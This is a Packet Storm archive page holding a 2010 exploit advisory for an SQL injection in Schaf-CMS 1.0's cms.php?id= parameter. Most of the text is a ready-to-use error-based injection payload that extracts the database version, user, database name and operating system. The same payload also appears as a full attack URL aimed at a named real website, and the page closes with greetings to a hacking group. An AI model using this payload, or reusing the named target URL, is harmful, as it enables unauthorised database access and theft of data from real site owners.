Lucene search

K
packetstormManas58PACKETSTORM:89884
HistoryMay 25, 2010 - 12:00 a.m.

Schaf CMS 1.0 SQL Injection

2010-05-2500:00:00
Manas58
packetstormsecurity.com
13
`Schaf-CMS 1.0 SQL Injection Vulnerability   
  
###########################   
  
Author : Manas58   
Homepage : http://www.1923turk.com   
Script : Schaf-CMS 1.0   
Download : http://www.brothersoft.com/site-builder-software---cms-53489.html   
  
###########################   
  
[ Vulnerable File ]   
  
cms.php?id= [ SQL ]   
  
  
[ XpL ]   
  
+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+  
  
  
http://fuchsschafzucht-wechselberg.de/cms.php?id=5+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+   
  
  
  
  
##############################################################   
# Greetz: Gamoscu - Baybora - Delibey - Tiamo - Psiko - Turco - infazci - X-TRO   
##############################################################  
`